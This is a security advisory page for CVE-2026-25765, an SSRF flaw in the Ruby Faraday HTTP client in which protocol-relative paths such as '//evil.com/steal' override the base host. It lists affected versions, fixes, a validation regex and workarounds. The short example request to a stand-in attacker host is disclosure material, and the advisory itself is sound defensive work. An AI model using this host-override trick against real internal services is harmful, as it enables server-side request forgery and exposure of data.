CVE-2026-25765: Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url

Published Feb 9, 2026
·
Updated

Impact

Faraday's buildexclusiveurl method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component.

This means that if any application passes user-controlled input to Faraday's get(), post(), buildurl(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF).

The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with /, so protocol-relative URLs bypass it entirely.

Example: ruby conn = Faraday.new(url: 'https://api.internal.com') conn.get('//evil.com/steal') # Request is sent to https://evil.com/steal instead of api.internal.com

Patches

Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.

Workarounds

NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.

Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:

- Reject or strip input that starts with // followed by a non-/ character - Use an allowlist of permitted path prefixes - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday

Example validation: ruby def safepath(userinput) raise ArgumentError, "Invalid path" if userinput.match?(%r{\A//[^/]}) userinput end

Other sources

Faraday is an HTTP client library abstraction layer that provides a common interface over many adapters. Prior to 2.14.1, Faraday's buildexclusiveurl method (in lib/faraday/connection.rb) uses Ruby's URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986, protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references that override the base URL's host/authority component. This means that if any application passes user-controlled input to Faraday's get(), post(), buildurl(), or other request methods, an attacker can supply a protocol-relative URL like //attacker.com/endpoint to redirect the request to an arbitrary host, enabling Server-Side Request Forgery (SSRF). This vulnerability is fixed in 2.14.1.

MITRE

Affected Software

5 affected componentsFixes available
rubygems/faraday>=1.0.0<=1.10.4
1.10.5
rubygems/faraday>=2.0.0<=2.14.0
2.14.1
Faraday Project Faraday>=1.0.0<1.10.5
Faraday Project Faraday>=2.0.0<2.14.1
IBM Aspera Console<=3.3.0 - 3.4.8

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade rubygems/faraday to a version that resolves this vulnerability.

    Fixed in 1.10.5
  2. Upgrade

    Upgrade rubygems/faraday to a version that resolves this vulnerability.

    Fixed in 2.14.1
  3. Upgrade

    Upgrade Faraday to a version that resolves this vulnerability.

    Fixed in 2.14.1
  4. Configuration

    Before passing any user-controlled input to Faraday request methods (e.g., get(), post(), build_url()), validate/sanitize it so it is rejected or stripped if it matches a protocol-relative URL form like //evil.com/path; for example, raise an error when user_input.match?(%r{\A//[^/]}).

    Faraday (build_exclusive_url) protocol-relative path handling = Reject or strip protocol-relative URLs starting with // followed by a non-/ character
  5. Configuration

    If upgrading Faraday to 2.14.1 is not possible, alternatively prepend ./ to all user-supplied paths before passing them to Faraday request methods so protocol-relative inputs (e.g., //evil.com/steal) cannot override the base URL host/authority.

    Faraday (application-side input sanitization) User-supplied path prefix = Prepend ./ to all user-supplied paths

Event History

Feb 9, 2026
CVE Published
via MITRE·08:30 PM
Data Sourced
via MITRE·08:30 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·08:37 PM
Data Sourced
via GitHub·08:37 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via NVD·09:15 PM
RemedyDescriptionSeverityWeaknessAffected Software
Mar 12, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-25765?

CVE-2026-25765 is considered a high severity vulnerability due to the potential for SSRF attacks via protocol-relative URL host override.

2

How do I fix CVE-2026-25765?

To fix CVE-2026-25765, upgrade Faraday to version 2.14.1 or later.

3

Which versions of Faraday are affected by CVE-2026-25765?

Faraday versions up to and including 2.14.0 are affected by CVE-2026-25765.

4

What type of vulnerability is CVE-2026-25765?

CVE-2026-25765 is an SSRF vulnerability that occurs due to improper handling of URLs in Faraday's `build_exclusive_url` method.

5

Can CVE-2026-25765 lead to data exposure?

Yes, CVE-2026-25765 can potentially lead to data exposure by allowing attackers to access internal services through SSRF.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203